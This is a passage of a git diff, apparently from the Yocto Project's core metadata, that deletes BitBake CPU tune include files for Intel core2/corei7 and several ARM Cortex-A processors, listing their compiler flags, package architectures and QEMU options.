-PACKAGE_EXTRA_ARCHS_tune-core2-64-x32 = "${PACKAGE_EXTRA_ARCHS_tune-x86-64-x32} core2-64-x32"
-QEMU_EXTRAOPTIONS_core2-64-x32 = " -cpu core2duo"
diff --git a/meta/conf/machine/include/tune-corei7.inc b/meta/conf/machine/include/tune-corei7.inc
deleted file mode 100644
index d06af47b86..0000000000
--- a/meta/conf/machine/include/tune-corei7.inc
+++ /dev/null
@@ -1,38 +0,0 @@
-# Settings for the GCC(1) cpu-type "nehalem":
-#
-# Intel Nehalem CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1,
-# SSE4.2 and POPCNT instruction set support.
-#
-# This tune is recommended for Intel Nehalem and Silvermont (e.g. Bay Trail) CPUs
-# (and beyond).
-#
-DEFAULTTUNE ?= "corei7-64"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-core2.inc
-
-# Extra tune features
-TUNEVALID[corei7] = "Enable corei7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'corei7', ' -march=nehalem -mtune=generic -mfpmath=sse -msse4.2', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "corei7-32"
-TUNE_FEATURES_tune-corei7-32 = "${TUNE_FEATURES_tune-x86} corei7"
-BASE_LIB_tune-corei7-32 = "lib"
-TUNE_PKGARCH_tune-corei7-32 = "corei7-32"
-PACKAGE_EXTRA_ARCHS_tune-corei7-32 = "${PACKAGE_EXTRA_ARCHS_tune-core2-32} corei7-32"
-QEMU_EXTRAOPTIONS_corei7-32 = " -cpu Nehalem,check=false"
-
-AVAILTUNES += "corei7-64"
-TUNE_FEATURES_tune-corei7-64 = "${TUNE_FEATURES_tune-x86-64} corei7"
-BASE_LIB_tune-corei7-64 = "lib64"
-TUNE_PKGARCH_tune-corei7-64 = "corei7-64"
-PACKAGE_EXTRA_ARCHS_tune-corei7-64 = "${PACKAGE_EXTRA_ARCHS_tune-core2-64} corei7-64"
-QEMU_EXTRAOPTIONS_corei7-64 = " -cpu Nehalem,check=false"
-
-AVAILTUNES += "corei7-64-x32"
-TUNE_FEATURES_tune-corei7-64-x32 = "${TUNE_FEATURES_tune-x86-64-x32} corei7"
-BASE_LIB_tune-corei7-64-x32 = "libx32"
-TUNE_PKGARCH_tune-corei7-64-x32 = "corei7-64-x32"
-PACKAGE_EXTRA_ARCHS_tune-corei7-64-x32 = "${PACKAGE_EXTRA_ARCHS_tune-core2-64-x32} corei7-64-x32"
-QEMU_EXTRAOPTIONS_corei7-64-x32 = " -cpu Nehalem,check=false"
diff --git a/meta/conf/machine/include/tune-cortexa15.inc b/meta/conf/machine/include/tune-cortexa15.inc
deleted file mode 100644
index d53403af35..0000000000
--- a/meta/conf/machine/include/tune-cortexa15.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa15] = "Enable Cortex-A15 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', ' -mcpu=cortex-a15', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', 'armv7ve:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa15 cortexa15t cortexa15-neon cortexa15t-neon cortexa15-neon-vfpv4 cortexa15t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa15 = "cortexa15"
-ARMPKGARCH_tune-cortexa15t = "cortexa15"
-ARMPKGARCH_tune-cortexa15-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15t-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15-neon-vfpv4 = "cortexa15"
-ARMPKGARCH_tune-cortexa15t-neon-vfpv4 = "cortexa15"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa15 = "arm vfp cortexa15"
-TUNE_FEATURES_tune-cortexa15t = "${TUNE_FEATURES_tune-cortexa15} thumb"
-TUNE_FEATURES_tune-cortexa15-neon = "${TUNE_FEATURES_tune-cortexa15} neon"
-TUNE_FEATURES_tune-cortexa15t-neon = "${TUNE_FEATURES_tune-cortexa15-neon} thumb"
-TUNE_FEATURES_tune-cortexa15-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa15t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa15-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa15-vfp cortexa15t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa15-vfp cortexa15-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa15-vfp cortexa15-neon cortexa15t2-vfp cortexa15t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4 cortexa15t2-vfp cortexa15t2-neon cortexa15t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa15hf cortexa15thf cortexa15hf-neon cortexa15thf-neon cortexa15hf-neon-vfpv4 cortexa15thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa15hf = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf = "cortexa15"
-ARMPKGARCH_tune-cortexa15hf-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf-neon = "cortexa15"
-ARMPKGARCH_tune-cortexa15hf-neon-vfpv4 = "cortexa15"
-ARMPKGARCH_tune-cortexa15thf-neon-vfpv4 = "cortexa15"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa15hf = "${TUNE_FEATURES_tune-cortexa15} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf = "${TUNE_FEATURES_tune-cortexa15t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15hf-neon = "${TUNE_FEATURES_tune-cortexa15-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf-neon = "${TUNE_FEATURES_tune-cortexa15t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa15thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa15t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa15hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa15hf-vfp cortexa15t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa15hf-vfp cortexa15hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa15hf-vfp cortexa15hf-neon cortexa15t2hf-vfp cortexa15t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa15thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4 cortexa15t2hf-vfp cortexa15t2hf-neon cortexa15t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa17.inc b/meta/conf/machine/include/tune-cortexa17.inc
deleted file mode 100644
index 3ffc02bf9f..0000000000
--- a/meta/conf/machine/include/tune-cortexa17.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa17] = "Enable Cortex-A17 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', ' -mcpu=cortex-a17', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa17', 'armv7ve:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa17 cortexa17t cortexa17-neon cortexa17t-neon cortexa17-neon-vfpv4 cortexa17t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa17 = "cortexa17"
-ARMPKGARCH_tune-cortexa17t = "cortexa17"
-ARMPKGARCH_tune-cortexa17-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17t-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17-neon-vfpv4 = "cortexa17"
-ARMPKGARCH_tune-cortexa17t-neon-vfpv4 = "cortexa17"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa17 = "arm vfp cortexa17"
-TUNE_FEATURES_tune-cortexa17t = "${TUNE_FEATURES_tune-cortexa17} thumb"
-TUNE_FEATURES_tune-cortexa17-neon = "${TUNE_FEATURES_tune-cortexa17} neon"
-TUNE_FEATURES_tune-cortexa17t-neon = "${TUNE_FEATURES_tune-cortexa17-neon} thumb"
-TUNE_FEATURES_tune-cortexa17-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa17t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve} cortexa17-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet} cortexa17-vfp cortexa17t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon} cortexa17-vfp cortexa17-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon} cortexa17-vfp cortexa17-neon cortexa17t2-vfp cortexa17t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ve-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vet-neon-vfpv4} cortexa17-vfp cortexa17-neon cortexa17-neon-vfpv4 cortexa17t2-vfp cortexa17t2-neon cortexa17t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa17hf cortexa17thf cortexa17hf-neon cortexa17thf-neon cortexa17hf-neon-vfpv4 cortexa17thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa17hf = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf = "cortexa17"
-ARMPKGARCH_tune-cortexa17hf-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf-neon = "cortexa17"
-ARMPKGARCH_tune-cortexa17hf-neon-vfpv4 = "cortexa17"
-ARMPKGARCH_tune-cortexa17thf-neon-vfpv4 = "cortexa17"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa17hf = "${TUNE_FEATURES_tune-cortexa17} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf = "${TUNE_FEATURES_tune-cortexa17t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17hf-neon = "${TUNE_FEATURES_tune-cortexa17-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf-neon = "${TUNE_FEATURES_tune-cortexa17t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa17thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa17t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa17hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa17hf-vfp cortexa17t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa17hf-vfp cortexa17hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa17hf-vfp cortexa17hf-neon cortexa17t2hf-vfp cortexa17t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa17thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa17hf-vfp cortexa17hf-neon cortexa17hf-neon-vfpv4 cortexa17t2hf-vfp cortexa17t2hf-neon cortexa17t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa32.inc b/meta/conf/machine/include/tune-cortexa32.inc
deleted file mode 100644
index 3ab1addd91..0000000000
--- a/meta/conf/machine/include/tune-cortexa32.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-DEFAULTTUNE ?= "cortexa32"
-
-
-TUNEVALID[cortexa32] = "Enable Cortex-A32 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa32', ' -mcpu=cortex-a32', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa32 cortexa32-crypto"
-ARMPKGARCH_tune-cortexa32 = "cortexa32"
-ARMPKGARCH_tune-cortexa32-crypto = "cortexa32"
-TUNE_FEATURES_tune-cortexa32 = "armv8a cortexa32 crc"
-TUNE_FEATURES_tune-cortexa32-crypto = "armv8a cortexa32 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa32 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa32"
-PACKAGE_EXTRA_ARCHS_tune-cortexa32-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa32 cortexa32-crypto"
-BASE_LIB_tune-cortexa32 = "lib"
-BASE_LIB_tune-cortexa32-crypto = "lib"
diff --git a/meta/conf/machine/include/tune-cortexa35.inc b/meta/conf/machine/include/tune-cortexa35.inc
deleted file mode 100644
index d6df6cd6bd..0000000000
--- a/meta/conf/machine/include/tune-cortexa35.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa35"
-
-TUNEVALID[cortexa35] = "Enable Cortex-A35 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa35', ' -mcpu=cortex-a35', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa35 cortexa35-crypto"
-ARMPKGARCH_tune-cortexa35 = "cortexa35"
-ARMPKGARCH_tune-cortexa35-crypto = "cortexa35"
-TUNE_FEATURES_tune-cortexa35 = "aarch64 cortexa35 crc"
-TUNE_FEATURES_tune-cortexa35-crypto = "aarch64 cortexa35 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa35 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa35"
-PACKAGE_EXTRA_ARCHS_tune-cortexa35-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa35 cortexa35-crypto"
-BASE_LIB_tune-cortexa35 = "lib64"
-BASE_LIB_tune-cortexa35-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa5.inc b/meta/conf/machine/include/tune-cortexa5.inc
deleted file mode 100644
index 496739e454..0000000000
--- a/meta/conf/machine/include/tune-cortexa5.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa5] = "Enable Cortex-A5 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', ' -mcpu=cortex-a5', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa5', 'armv7a:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa5 cortexa5t cortexa5-neon cortexa5t-neon cortexa5-neon-vfpv4 cortexa5t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa5 = "cortexa5"
-ARMPKGARCH_tune-cortexa5t = "cortexa5"
-ARMPKGARCH_tune-cortexa5-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5t-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5-neon-vfpv4 = "cortexa5"
-ARMPKGARCH_tune-cortexa5t-neon-vfpv4 = "cortexa5"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa5 = "arm vfp cortexa5"
-TUNE_FEATURES_tune-cortexa5t = "${TUNE_FEATURES_tune-cortexa5} thumb"
-TUNE_FEATURES_tune-cortexa5-neon = "${TUNE_FEATURES_tune-cortexa5} neon"
-TUNE_FEATURES_tune-cortexa5t-neon = "${TUNE_FEATURES_tune-cortexa5-neon} thumb"
-TUNE_FEATURES_tune-cortexa5-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa5t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon-vfpv4} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa5-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa5-vfp cortexa5t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa5-vfp cortexa5-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa5-vfp cortexa5-neon cortexa5t2-vfp cortexa5t2-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon-vfpv4} cortexa5-vfp cortexa5-neon cortexa5-neon-vfpv4 cortexa5t2-vfp cortexa5t2-neon cortexa5t2-neon-vfpv4"
-
-# HF Tunes
-AVAILTUNES += "cortexa5hf cortexa5thf cortexa5hf-neon cortexa5thf-neon cortexa5hf-neon-vfpv4 cortexa5thf-neon-vfpv4"
-ARMPKGARCH_tune-cortexa5hf = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf = "cortexa5"
-ARMPKGARCH_tune-cortexa5hf-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf-neon = "cortexa5"
-ARMPKGARCH_tune-cortexa5hf-neon-vfpv4 = "cortexa5"
-ARMPKGARCH_tune-cortexa5thf-neon-vfpv4 = "cortexa5"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa5hf = "${TUNE_FEATURES_tune-cortexa5} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf = "${TUNE_FEATURES_tune-cortexa5t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5hf-neon = "${TUNE_FEATURES_tune-cortexa5-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf-neon = "${TUNE_FEATURES_tune-cortexa5t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa5thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa5t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa5hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa5hf-vfp cortexa5t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa5hf-vfp cortexa5hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa5hf-vfp cortexa5hf-neon cortexa5t2hf-vfp cortexa5t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa5thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon-vfpv4} cortexa5hf-vfp cortexa5hf-neon cortexa5hf-neon-vfpv4 cortexa5t2hf-vfp cortexa5t2hf-neon cortexa5t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa53.inc b/meta/conf/machine/include/tune-cortexa53.inc
deleted file mode 100644
index c0bb28a19e..0000000000
--- a/meta/conf/machine/include/tune-cortexa53.inc
+++ /dev/null
@@ -1,18 +0,0 @@
-DEFAULTTUNE ?= "cortexa53"
-
-TUNEVALID[cortexa53] = "Enable Cortex-A53 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa53', ' -mcpu=cortex-a53', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa53 cortexa53-crypto"
-ARMPKGARCH_tune-cortexa53 = "cortexa53"
-ARMPKGARCH_tune-cortexa53-crypto = "cortexa53-crypto"
-TUNE_FEATURES_tune-cortexa53 = "aarch64 cortexa53 crc"
-TUNE_FEATURES_tune-cortexa53-crypto = "aarch64 cortexa53 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa53 cortexa53-crypto"
-
-BASE_LIB_tune-cortexa53 = "lib64"
-BASE_LIB_tune-cortexa53-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa55.inc b/meta/conf/machine/include/tune-cortexa55.inc
deleted file mode 100644
index b383eb733b..0000000000
--- a/meta/conf/machine/include/tune-cortexa55.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "cortexa55"
-
-TUNEVALID[cortexa55] = "Enable Cortex-A55 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa55', ' -mcpu=cortex-a55', '', d)}"
-
-require conf/machine/include/arm/arch-armv8-2a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa55"
-ARMPKGARCH_tune-cortexa55 = "cortexa55"
-TUNE_FEATURES_tune-cortexa55 = "aarch64 cortexa55 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa55 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa55"
-BASE_LIB_tune-cortexa55 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa57-cortexa53.inc b/meta/conf/machine/include/tune-cortexa57-cortexa53.inc
deleted file mode 100644
index ba4b073852..0000000000
--- a/meta/conf/machine/include/tune-cortexa57-cortexa53.inc
+++ /dev/null
@@ -1,15 +0,0 @@
-DEFAULTTUNE ?= "cortexa57-cortexa53"
-
-TUNEVALID[cortexa57-cortexa53] = "Enable big.LITTLE Cortex-A57.Cortex-A53 specific processor optimizations"
-TUNECONFLICTS[aarch64] = "armv4 armv5 armv6 armv7 armv7a"
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", " -mcpu=cortex-a57.cortex-a53", "", d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa57-cortexa53", "cortexa57-cortexa53:", "" ,d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa57-cortexa53"
-ARMPKGARCH_tune-cortexa57-cortexa53 = "cortexa57-cortexa53"
-TUNE_FEATURES_tune-cortexa57-cortexa53 = "aarch64 cortexa57-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa57-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-aarch64} cortexa57-cortexa53"
-BASE_LIB_tune-cortexa57-cortexa53 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa57.inc b/meta/conf/machine/include/tune-cortexa57.inc
deleted file mode 100644
index 0811d503cc..0000000000
--- a/meta/conf/machine/include/tune-cortexa57.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "cortexa57"
-
-TUNEVALID[cortexa57] = "Enable Cortex-A57 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa57', ' -mcpu=cortex-a57', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa57 cortexa57-crypto"
-ARMPKGARCH_tune-cortexa57 = "cortexa57"
-ARMPKGARCH_tune-cortexa57-crypto = "cortexa57-crypto"
-TUNE_FEATURES_tune-cortexa57 = "aarch64 cortexa57 crc"
-TUNE_FEATURES_tune-cortexa57-crypto = "aarch64 cortexa57 crc crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa57 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa57"
-PACKAGE_EXTRA_ARCHS_tune-cortexa57-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa57 cortexa57-crypto"
-BASE_LIB_tune-cortexa57 = "lib64"
-BASE_LIB_tune-cortexa57-crypto = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa7.inc b/meta/conf/machine/include/tune-cortexa7.inc
deleted file mode 100644
index 34a77b4788..0000000000
--- a/meta/conf/machine/include/tune-cortexa7.inc
+++ /dev/null
@@ -1,51 +0,0 @@
-DEFAULTTUNE ?= "armv7vethf-neon"
-
-require conf/machine/include/arm/arch-armv7ve.inc
-
-TUNEVALID[cortexa7] = "Enable Cortex-A7 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', ' -mcpu=cortex-a7', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa7', 'armv7ve:', '' ,d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa7 cortexa7t cortexa7-neon cortexa7t-neon cortexa7-neon-vfpv4 cortexa7t-neon-vfpv4"
-ARMPKGARCH_tune-cortexa7 = "cortexa7"
-ARMPKGARCH_tune-cortexa7t = "cortexa7"
-ARMPKGARCH_tune-cortexa7-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7t-neon = "cortexa7"
-ARMPKGARCH_tune-cortexa7-neon-vfpv4 = "cortexa7"
-ARMPKGARCH_tune-cortexa7t-neon-vfpv4 = "cortexa7"
-# mcpu is used so don't use armv7ve as we don't want march
-TUNE_FEATURES_tune-cortexa7 = "arm vfp cortexa7"
-TUNE_FEATURES_tune-cortexa7t = "${TUNE_FEATURES_tune-cortexa7} thumb"
-TUNE_FEATURES_tune-cortexa7-neon = "${TUNE_FEATURES_tune-cortexa7} neon"
-TUNE_FEATURES_tune-cortexa7t-neon = "${TUNE_FEATURES_tune-cortexa7-neon} thumb"
-TUNE_FEATURES_tune-cortexa7-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon} vfpv4"
-TUNE_FEATURES_tune-cortexa7t-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon-vfpv4} thumb"
